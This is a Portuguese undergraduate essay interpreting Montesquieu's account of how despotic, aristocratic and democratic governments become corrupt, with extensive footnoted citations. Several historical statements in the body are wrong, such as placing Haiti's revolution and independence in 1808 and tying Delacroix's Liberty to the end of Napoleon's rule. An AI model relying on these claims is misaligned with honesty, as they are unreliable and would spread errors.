Da corrupção do governo: uma leitura em Montesquieu

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Da corrupção do governo: uma leitura em Montesquieu[1]

Jéferson dos
Santos Mendes[2]

A vida é melhor do
quer a morte.
A saúde é melhor do
que a doença.
A liberdade é melhor
do que a escravidão.
A prosperidade é
melhor do que a pobreza.
A educação é melhor do
que a ignorância.
A justiça é melhor
do que a injustiça[3].

A corrupção do governo

Montesquieu
entende a corrupção do governo como existente desde seu princípio[4],
“A natureza do governo é o que faz com que ele seja o que é” (ARON, 2003, p.
11). Mesmo que “Quando tudo vai bem, todos os regimes políticos são bons. Em
épocas de normalidade, nem sentimos a existência do governo e vivemos bem seja
o Estado republicano ou monárquico […]” (AMANTINO, 1992, p. 23).

[…] Assim a natureza do governo republicano quer que
o povo inteiro (ou uma parte do povo) detenha o poder soberano. A natureza do monárquico, que seja um só a governar mas mediante leis fixas e
estabelecidas. A natureza do despotismo, que seja um só a governar, mas
sem leis nem regras[5].

Se o governo corresponde a um órgão central, a demais como um coração,
com um conjunto de tubos de estrutura e propriedades diferentes: artérias,
veias, vasos capilares e vasos linfáticos[6].
Como uma artéria o governo[7] determina a distribuição do sangue para os Estados, estes como um organismo
receptor, recebem e depois devolvem o que receberam, dessa forma, como uma ligação
cíclica, se a corrupção do governo depende de seu princípio, caso o seu princípio
esteja corrompido circulara a sua corrupção. Assim como o coração[8] na nação de forma cíclica circulara tanto sua corrupção como sua virtude como
se tivesse mais de 1000 km de vasos sanguíneos[9].

A corrupção
no governo despótico

A própria natureza do governo despótico é uma natureza corrupta[10],
a corrupção faz parte do governo despótico, assim como a morte faz parte da
vida, esses governos conseguem conviver com a corrupção, “[…] como se aquela
luva tivesse sido feita para aquela mão” (ASSIS, 1979, p. 97). Num estado
despótico jamais se reconhecem palavras como liberdade, igualdade e justiça,
pois são tão vulgares e ao mesmo tempo tão sagradas[11].

O governo despótico está intimamente ligado a uma só pessoa, uma só
cabeça governa o país, o Estado. Faz referência a regimes totalitários, como
hoje é considerada a Cuba de Fidel Castro, que detinha o poder real sob o
título de “Líder Máximo” usufruindo maciçamente a popularidade[12].
Da mesma forma era do entendimento dos republicanos que Napoleão era traidor
por ter derrubado a República e atraiçoado a Revolução[13].

Lembre-se que nenhum golpe de Estado, nenhuma eleição
fraudulenta, nenhum atropelo à constituição é assumido por seus executores
(militares, empresários, líderes de direita) como um ato ditatorial, aplicado
em nome de princípios autoritários. O pretexto é sempre salvar a democracia, a
ordem, a nação em abstrato[14].

Se o princípio do governo determina o seu estado de relação com seus súditos,
uma vez que o seu princípio for corrompido, as melhores leis tornam-se más[15],
dessa forma o governo despótico só consegue se manter quando circunstâncias
fora do meio estatal, portanto fora do governo. Circunstâncias tais como o
clima, a religião, que interferem intimamente no desenvolvimento político. A
corrupção no governo despótico é a eterna criança que berra pela mamadeira[16].

O governo quanto mais poder possuir menos cuidados com a sua
administração terá, dessa forma acaba tornando-se seu próprio tirano[17].
Montesquieu citando Epicuro falando das riquezas “Não é o licor que está
corrompido, é o vaso” (1996, p, 129), o que está corrompido não é o povo, mas
quem governa o mesmo, se “[…] para conhecer a natureza dos povos, é preciso
ser Príncipe, e para conhecer a dos príncipes, ser do povo” (MACHIAVELLI, 2006,
p. 4). No governo despótico[18] não há nem um nem outro. O detentor do poder governa sem leis e sem regras[19].

Quando uma nação está corrompida, só se pode mediar os males que com essa
corrupção aparecem extirpando a sua corrupção e trazendo de volta o seu
princípio[20],
devido ao fato deste estar contaminado. Citando Montesquieu que qualquer outra
correção ou seria inútil ou levaria a outro mal, o que ocorre na França com a
liberdade de Delacroix, com seus seios fartos sobre as barricadas, carregando a
bandeira francesa, em sua manifestação heróica, num sentido ao mesmo tempo
diabólica e divino[21],
acabando com a ditadura de Napoleão.

A Nação e o Estado passam a ser concebidos como
simples projeções de uma suposta realidade básica, que é o Poder, cuja
definição se amplia suficientemente para tudo incluir, desde o estado de
espírito da população até às estatísticas de produção de feijão, passando
naturalmente pelos estoques de armas de guerra[22].

A lei principal do governo constitui-se que está lei esteja voltada para
uma só cabeça, um só ponto de fuga, uma única fonte, uma única luz que leva aos
pólos, ademais não passando de acéfala[23],
sendo o único meio de manter o poder pelo Temor, portanto pelo medo[24] o governo despótico mantém a sua posição quanto aos seus súditos, estes
aparecem acorrentados como Prometeu, o governo despótico não passa de Saturno a
devorar seus filhos, que o povo diga: “Antes que isso aconteça, eu estarei
livre destas correntes” ((org) SOUZA, 19–, 130).

A corrupção
no governo aristocrático

O
meio que leva um governo aristocrático a se tornar corrupto, ocorre quando o
poder dos nobres se tornam arbitrários, dessa forma tanto os que governam como
os que são governados são levados a perder suas virtudes[25].
Quando o governo aristocrático com suas famílias[26] não observa as leis, se torna um estado despótico. Porém não se corrompe quando
as famílias reinantes observam as leis, sendo uma monarquia que possui muitos
monarcas, estes estão atados pelas leis[27].

A extrema corrupção aparece quando os nobres se tornam hereditários, faz
com que a aristocracia transforme-se em oligarquia, num governo com poucas
pessoas, isso por não ter prudência. Caso estes estejam em pequeno número o seu
poder aumenta, mas ao mesmo tempo a sua segurança diminui, do contrário o poder
é menor em compensação a segurança é maior. O poder crescendo a segurança
diminuindo até chegar ao estado despótico[28].

Para que o governo se torne menos violento é necessário que esteja em
grande número de nobres na aristocracia hereditária, ocorrendo pouca virtude,
caindo num espírito de preguiça, de abandono, ocasionando num estado sem força
e sem recurso[29].
Para que a aristocracia mantenha a força de seu princípio, deve mostrar aos
seus nobres os perigos desse poder, jamais as suas delícias, ou melhor, suas
formas de abuso. “[…] as monarquias corrompem-se quando se suprimem pouco a
pouco as prerrogativas dos corpos ou os privilégios das cidades” (MONTESQUIEU,
P. 125, 1996). O que acaba levando ao despotismo de um só.

O príncipe quando apaixonado por suas fantasias, mudando a ordem das
coisas, reduzindo tudo a um só poder, a si mesmo, nesse momento é que a
monarquia se perde. Portanto, “Quando um príncipe desconhece sua autoridade,
sua situação, o amor de seus povos; […]” (MONTESQUIEU, P. 126, 1996).

A corrupção
no governo democrático

Uma
democracia[30] não corrompe somente quando se perde o espírito de igualdade[31],
mas quando essa igualdade se torna extrema, quando cada um quer ser igual àquele
que escolheu para comandá-lo. O povo até sabe escolher muito bem seus
governantes, mas é incapaz de governar porque é movido por paixões, dessa forma
não pode decidir[32].

Conseqüentemente, não pode mais existir virtude na República[33],
o povo quer exercer poder no Estado, diria Marx que, “À medida que se suprime a
exploração de um indivíduo por outro, suprime-se igualmente a exploração de uma
nação por outra” (2002, p. 57), o que para Marx seria uma vitória para
Montesquieu[34] ocasionaria no não respeito para com os magistrados, não haveria mais respeito
pelos velhos conseqüentemente, nem para os pais, os maridos não merecem mais consideração,
portanto todos chegariam a gostar desta libertinagem, o incomodo do comando cansará
tanto quanto a obediência[35].
Nem mulheres, nem crianças e nem escravos terão submissão a alguém, adjacente a
isso, não existiram mais costumes, amor à ordem enfim a virtude[36].

O povo cai nesta desgraça quando aqueles a quem confia
seu destino, querendo esconder sua corrupção, tentam corrompê-lo. Para que o
povo não perceba sua ambição, só lhe falam de sua grandeza; para que não
perceba sua avareza, elogiam sempre a do povo[37].

A
corrupção aumentará entre os corruptores, o que ocorre na política atual
brasileira e, também, entre os que já estão corrompidos, o povo[38] fará a distribuição entre si de todo o dinheiro público, de forma que terá
juntado a sua preguiça a gestão dos negócios, da mesma forma vai juntar sua
pobreza os divertimentos do luxo[39].
Se desde a mesopotâmia, o povo reclamava o estado de desgraça devido ao
governante[40],
da mesma forma no século vinte, em que uma grande parcela dos países latinos
sofreu ditaduras militares terríveis[41].

Não devemos ficar surpresos ao vermos que os sufrágios
são dados em troca de dinheiro. Não se pode dar muito ao povo sem tirar ainda
mais dele; mas, para tirar dele, devemos derrubar o Estado. Quanto maiores as
vantagens que ele parecerá estar tirando de sua liberdade, mais ele se estará
aproximando do momento em que deve perdê-la. Criam-se pequenos tiranos que têm
todos os vícios de um só. Rapidamente, a liberdade que resta torna-se insuportável;
um só tirano ergue-se; e o povo perde tudo, até as vantagens de sua corrupção[42].

Portanto, a democracia[43] deve evitar dois excessos, o espírito de desigualdade, este que acaba levando a
aristocracia, ou o governo de um só; e também o espírito de igualdade extrema[44] que acaba levando ao despotismo de um só[45].
Em 1808, no mesmo ano em que a corte real portuguesa vem para o Brasil, consolidando
a própria independência[46],
no Haiti ocorre à revolução dos escravos, se tornando uma nação independente,
mas a inexperiência de comando não deu resultado. Dessa forma, “O grau de
prosperidade do Brasil e do Haiti do século XVII, por exemplo, era muitas vezes
superior ao das colônias pioneiras da costa oriental dos Estados Unidos”
(RIBEIRO, 1979, p. 23).

Se para Marx, “Desaparecendo o antagonismo de classes no interior de uma
nação, desaparece igualmente a hostilidade entre as nações” (2002, p. 57), nos
governos comunistas que tentaram desenvolver uma nação sem classes que depende
da ditadura do proletariado, como pensava Lênin que defendeu a ditadura
democrático-revolucionária do proletariado[47],
o que acabava levando a uma ditadura note que os governos comunistas são todos
reconhecidos por um único poder, um único homem, exemplo à Rússia Comunista, a
China Comunista, e a Cuba de Fidel Castro.

Para
Montesquieu os homens no estado de natureza nascem na igualdade[48],
mas, não podem nela permanecer, pois, a própria sociedade faz com que a percam
só conseguindo voltar graças às leis[49].

A diferença entre a democracia regrada e a que não o é
é que, na primeira, só se é igual enquanto cidadão, e que, na outra, se é igual
também enquanto magistrado, enquanto senador, enquanto juiz, enquanto pai,
enquanto marido, enquanto senhor[50].

Portanto
o lugar natural da virtude é ao lado da liberdade, mas, está da mesma forma não
se encontra mais próxima da liberdade extrema do que da servidão[51].

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[1] O presente trabalho será totalmente elaborado na questão do livro oitavo de Montesquieu,
Charles de Secondat, Baron de. O espírito das leis. Apresentação Renato
Janine Ribeiro; tradução Chistina Murachco. São Paulo: Martins Fontes, 1996. No
qual trata explicitamente sobre a corrupção dos três governos.

[2] Acadêmico do Curso de História da Universidade de
Passo Fundo. Nível VIII, bolsista Pibic/CNPq, nº do processo PIBIC CNPq:
106370/2006-5, e-mail [email protected].

[3] HARRISON, Lawrence e HUNTINGTON, Samuel (ed.). A cultura
importa. Rio de Janeiro: Record, 2002. p. 28.

[4] “O princípio do governo é o sentimento que deve
animar os homens, dentro de um tipo de governo, para que este funcione
harmoniosamente”. Em Aron, Raymond. As etapas do pensamento sociológico.
Tradução Sérgio Bath. 6. ed. São Paulo: Martins Fontes, 2003. p. 11.

[5] Althusser, Louis. Montesquieu: a política e a história.
Tradução de Luz Cary e Luisa Costa. 2. ed. Rio de Janeiro: Martins Fontes,
1977.

[6] Latarjet, M. Anatomia Humana. Tradução lingüística Ivone Castilho
Benedetti; tradução científica José Carlos Prates. 2. ed. São Paulo:
Panamericana, 1996. p. 995.

[7] “… um governo não é uma forma pura”. Em Althusser,
Louis. Montesquieu: a política e a história. Tradução de Luz Cary e
Luisa Costa. 2. ed. Rio de Janeiro: Martins Fontes, 1977. p. 60.

[8] “O coração quase sempre continua a crescer e peso e tamanho até um período
avançado da vida; este aumento pode ser patológico”. Em Gray, Henry. Anatomia.
Editoria de Charles Mayo Goss, desenhos de Don M. Alvarado. 29. ed. Rio de
Janeiro: Guanabara, 1988. p. 444.

[9] Tomita, Rúbia Yuri. Atlas visual compacto do corpo
humano
. [ilustrações Douglas Peres Fabian Moreno]. 1. ed. São Paulo:
Rideel, 1999. p. 55.

[10] Montesquieu, Charles de Secondat, Baron de. O espírito das
leis
. Apresentação Renato Janine Ribeiro; tradução Chistina Murachco. São Paulo:
Martins Fontes, 1996. p. 128.

[11] Proudhon, Pierre Joseph. A propriedade é um roubo. [seleção e notas de
Daniel Guérin; tradução de Suely Bastos]. Porto Alegre: L&PM, 1998. p. 23.

[12] Almond, Mark. O livro de ouro das Revoluções. Tradução Gilson Batista.
Rio de Janeiro: Ediouro, 2004. p. 159.

[13] Fortescue, William. Revolução e contra-revolução na França, 1815-1852.
[tradução Álvaro Cabral]. São Paulo: Martins Fontes, 1992. p. 5.

[14] Torres-Rivas, Edelberto. Escenarios, sujeitos, desenlaces; Reflexiones sobre
la crisis centroamericana
. Notre Dame, Kellog Institute, University of
Notre Dame, 1986. p. 138.

[15] Montesquieu, Charles de Secondat, Baron de. O espírito das leis.
Apresentação Renato Janine Ribeiro; tradução Chistina Murachco. São Paulo:
Martins Fontes, 1996. p. 128.

[16] Fromm, Erich. Ter ou Ser?. Tradução de Nathanael C. Caixeiro. 3. ed. Rio
de Janeiro: Zahar Editores, 1980. p. 45.

[17] Montesquieu, Charles de Secondat, Baron de. O espírito das leis.
Apresentação Renato Janine Ribeiro; tradução Chistina Murachco. São Paulo:
Martins Fontes, 1996. p. 130.

[18] “Poucas centenas de milhares de cubanos que saudaram a chegada de Castro em
Havana tinham alguma idéia clara de quais eram suas intenções”. Almond, Mark. O
livro de ouro das Revoluções
. Tradução Gilson Batista. Rio de Janeiro:
Ediouro, 2004. p. 159.

[19] Aron, Raymond. As etapas do pensamento sociológico.
Tradução Sérgio Bath. 6. ed. São Paulo: Martins Fontes, 2003. p. 11.

[20] Montesquieu, Charles de Secondat, Baron de. O espírito
das leis
. Apresentação Renato Janine Ribeiro; tradução Chistina Murachco.
São Paulo: Martins Fontes, 1996. p. 129.

[21] Oehler, Dolf. Quadros Parisienses (1830-1848): estética anti-burguesa em
Baudelaire, Daumier e Heine.
[tradução José Marcos Macedo, Samuel Tintan
Jr. São Paulo: Companhia das Letras, 1997. p. 195.

[22] Brasil: tempos modernos / por / Celso Furtado
/ e outros / 2º ed. Rio de Janeiro, Paz e Terra, 1977. p. 14.

[23] Mann, Michael. Desenvolvimento europeu: uma abordagem histórica, in
Baechler, 1989.

[24] “Quanto ao medo, não é necessário defini-lo. Trata-se
de sentimento elementar, por assim dizer, infrapolítico. Mas é um sentimento
que foi tratado por todos os pensadores políticos, porque muitos deles, a
partir de Hobbes, o consideraram como o sentimento mais humano, o mais radical,
aquele a partir do qual se explica o próprio Estado. Montesquieu, porém, não é
um pessimista como Hobbes. A seus olhos, um regime baseado no medo é
essencialmente corrupto, quase a negação mesma da política. Os súditos que só
obedecem movidos pelo medo quase já não são homens”. Em Aron, Raymond. As
etapas do pensamento sociológico
. Tradução Sérgio Bath. 6. ed. São Paulo:
Martins Fontes, 2003. p. 12.

[25] Montesquieu, Charles de Secondat, Baron de. O espírito das leis.
Apresentação Renato Janine Ribeiro; tradução Chistina Murachco. – São Paulo:
Martins Fontes, 1996. p. 124.

[26] “Foi Ferrara a primeira cidade a experimentar, com sucesso, o governo
hereditário de uma só família…”. Em Skinner, Quentin. As funções do
pensamento político moderno
. Revisão técnica Renato Janine Ribeiro. São
Paulo: Companhia das Letras, 1996. p. 46.

[27] Montesquieu, Charles de Secondat, Baron de. O espírito das leis.
Apresentação Renato Janine Ribeiro; tradução Chistina Murachco. São Paulo:
Martins Fontes, 1996. p. 124.

[28] Montesquieu, Charles de Secondat, Baron de. O espírito das leis.
Apresentação Renato Janine Ribeiro; tradução Chistina Murachco. São Paulo:
Martins Fontes, 1996. p. 125.

[29] “Veneza é uma das repúblicas que melhor corrigiu, com suas leis, os
inconvenientes da aristocracia hereditária”. Nota de Montesquieu, Charles de
Secondat, Baron de. O espírito das leis. Apresentação Renato Janine
Ribeiro; tradução Chistina Murachco. São Paulo: Martins Fontes, 1996. p. 125.

[30] “Para os antigos a imagem da democracia era
completamente diferente: falando de democracia eles pensavam em uma praça ou
então em uma assembléia na qual os cidadãos eram chamados a tomar eles mesmos
as decisões que lhes diziam respeito. “Democracia” significava o que a palavra
designa literalmente: poder do démos. Se depois o termo démos,
entendido genericamente como a “comunidade dos cidadãos”, fosse definido dos
mais diferentes modos, […]”. Em Bobbio, Norberto. Teoria geral da
política: a filosofia política e as lições dos clássicos
; organizado por
Michelangelo Bovero; tradução Daniela Beccaccia Versiani. Rio de Janeiro:
Campus, 2001. p. 372.

[31] “A virtude da república não é uma virtude moral, mas
política: consiste no respeito as leis e no devotamento do indivíduo a
coletividade”. Em Aron, Raymond. As etapas do pensamento sociológico.
Tradução Sérgio Bath. 6. ed. São Paulo: Martins Fontes, 2003. p.12.

[32] Os Clássicos da Política. Org. por Francisco
C. Weffort. (Maquiavel, Hobbes, Locke, Montesquieu, Rousseau, “O Federalismo”).
1º.V. editora Àtica. 13. ed., 2005. p. 117.

[33] “[…] a virtude é o princípio da república, o que não
significa que numa república os homens sejam virtuosos, mas apenas que deveriam
sê-lo, e que as repúblicas só prosperam na medida em que seus cidadãos são virtuosos”.
Em Aron, Raymond. As etapas do pensamento sociológico. Tradução Sérgio
Bath. 6. ed. São Paulo: Martins Fontes, 2003. p. 11.

[34] “Um erudito comentador do Esprit dês lois escreve:
“Montesquieu não faz idéia do que seriam as democracias dos nossos dias. A sua
concepção deriva dos estudos das democracias antigas. Isto explica porque este
capítulo não traz a mínima alusão ao sistema moderno, no qual o povo exerce a
soberania através da intermediação dos seus representantes”. Em Bobbio,
Norberto. Teoria geral da política: a filosofia política e as lições dos
clássicos
; organizado por Michelangelo Bovero; tradução Daniela Beccaccia
Versiani. Rio de Janeiro: Campus, 2001. p. 374-5.

[35] “A de Marselha nunca sofreu essas grandes passagens do rebaixamento à grandeza:
assim, ela sempre foi governada com sabedoria; assim, sempre conservou seus
princípios”. Em Montesquieu, Charles de Secondat, Baron de. O espírito das
leis
. Apresentação Renato Janine Ribeiro; tradução Chistina Murachco. São Paulo:
Martins Fontes, 1996. p. 124.

[36] Montesquieu, Charles de Secondat, Baron de. O espírito das leis.
Apresentação Renato Janine Ribeiro; tradução Chistina Murachco. São Paulo:
Martins Fontes, 1996. p. 121-122.

[37] Montesquieu, Charles de Secondat, Baron de. O espírito das leis.
Apresentação Renato Janine Ribeiro; tradução Chistina Murachco. São Paulo:
Martins Fontes, 1996. p. 122.

[38] “Nas revoluções de independência, nas campanhas pela
abolição do regime do trabalho do escravo, nas lutas pela terra, nos movimentos
pela regulamentação das relações de trabalho na agricultura, mineração e
indústria, nas controvérsias entre liberais e conservadores, na resistência às
ditaduras civis e militares, em todos os movimentos mais importantes da vida
das sociedades nacionais, o povo está presente”. Em Octavio Ianni. A
Formação do Estado Populista na América Latina
. Editora Ática. 2ª ed. SP
1989. p. 153.

[39] Montesquieu, Charles de Secondat, Baron de. O espírito das
leis
. Apresentação Renato Janine Ribeiro; tradução Chistina Murachco. São Paulo:
Martins Fontes, 1996. p. 122.

[40] “Ele era um ser semidivino, pois seu corpo era formado de “carne dos deuses”, e
“dois terços de seu ser eram divinos e o outro terço era humano”. Perdeu-se a
descrição de sua pessoa. Como Pastor (ou seja, Rei) de Erech, forçava o povo a
trabalhar demasiadamente, e suas ordens os reduziam a tal estado de desgraça
que eles clamaram para os deuses e imploraram que criassem algum rei que
controlasse Gilgamesh e os livrasse dele”. Em Budge, E. A. Wallis, Sir. A
versão Babilônica sobre o Dilúvio e a Epopéia de Gilgamesh.
[tradução
Marielza Corrêa]. São Paulo: Madras Editora, 2004. p. 60-1.

[41] “Ninguém tinha segurança, podendo ser preso, ou
novamente preso, a qualquer momento, sem respeito a norma alguma, ver seu lar
invadido, vasculhado, depredado; preso, ficava à mercê de um major ou coronel,
o “encarregado do IPM” que, geralmente, mantinha sua vítima incomunicável e, às
vezes, escondida, seqüestrada. Havia, no Brasil, em vez dos poderes clássicos –
Executivo, Legislativo, Judiciário – um só poder, o dos encarregados dos IPMs.
Nem o indigitado “presidente da República” tinha condições para enfrentá-los.
Na realidade, esteve para ser despedido por eles. Parecia haver o propósito de
obedecer a uma singular palavra de ordem: “Todo poder aos IPMs””. Em Sodré,
Nelson Werneck. História da História nova. Vozes, RJ, 1986. p. 45.

[42] Montesquieu, Charles de Secondat, Baron de. O espírito das
leis
. Apresentação Renato Janine Ribeiro; tradução Chistina Murachco. São Paulo:
Martins Fontes, 1996. p. 122.

[43] “É verdade que aqueles que corromperam as repúblicas gregas nem sempre se
tornaram tiranos. É que eles estavam mais ligados à eloqüência do que à arte
militar; além do que, existia no coração de todos os gregos um ódio implacável
contra aqueles que derrubavam o governo republicano; o que fez com que a
anarquia degenerasse em destruição, ao invés de transformar-se em tirania”. Em,
Montesquieu, Charles de Secondat, Baron de. O espírito das leis.
Apresentação Renato Janine Ribeiro; tradução Chistina Murachco. São Paulo:
Martins Fontes, 1996. p. 123.

[44] “Assim como o céu está distante da terra, o verdadeiro espírito de igualdade o
está do espírito de igualdade extrema. O primeiro não consiste em fazer com que
todos comandem, ou que ninguém seja comandado; e sim em obedecer e comandar
seus iguais. Não busca não ter nenhum senhor, e sim ter iguais como senhores”.
Em Montesquieu, Charles de Secondat, Baron de. O espírito das leis.
Apresentação Renato Janine Ribeiro; tradução Chistina Murachco. São Paulo:
Martins Fontes, 1996. p. 123.

[45] Montesquieu, Charles de Secondat, Baron de. O espírito das leis.
Apresentação Renato Janine Ribeiro; tradução Chistina Murachco. São Paulo:
Martins Fontes, 1996. p. 122-123.

[46] PICCOLO, Helga Iracema Landgraf; PADOIN, Maria Medianeira (Dir.). Império.
Passo Fundo: Méritos, 2006, (Coleção História Geral do Rio Grande do Sul). P.
19.

[47] Genro, Tarso Fernando. Lênin: coração e mente. São Paulo: Expressão
Popular, 2003. p. 100.

[48] “A naturaza fez os homens tão iguais…”. Em Hobbes, Thomas. Leviatã.
Organizado por Richard Tuck; tradução João Paulo Monteiro, Maria Beatriz Nizza
da Silva, Claudia Berliner; revisão da tradução Eunice Ostrensky. – Ed.
Brasileira supervisionada por Eunice Ostrensky. São Paulo: Martins Fontes,
2003. p. 106.

[49] Montesquieu, Charles de Secondat, Baron de. O espírito das leis.
Apresentação Renato Janine Ribeiro; tradução Chistina Murachco. São Paulo:
Martins Fontes, 1996. p. 123.

[50] Montesquieu, Charles de Secondat, Baron de. O espírito das leis.
Apresentação Renato Janine Ribeiro; tradução Chistina Murachco. São Paulo:
Martins Fontes, 1996. p. 123-124.

[51] Montesquieu, Charles de Secondat, Baron de. O espírito das
leis
. Apresentação Renato Janine Ribeiro; tradução Chistina Murachco. São Paulo:
Martins Fontes, 1996. p. 124.

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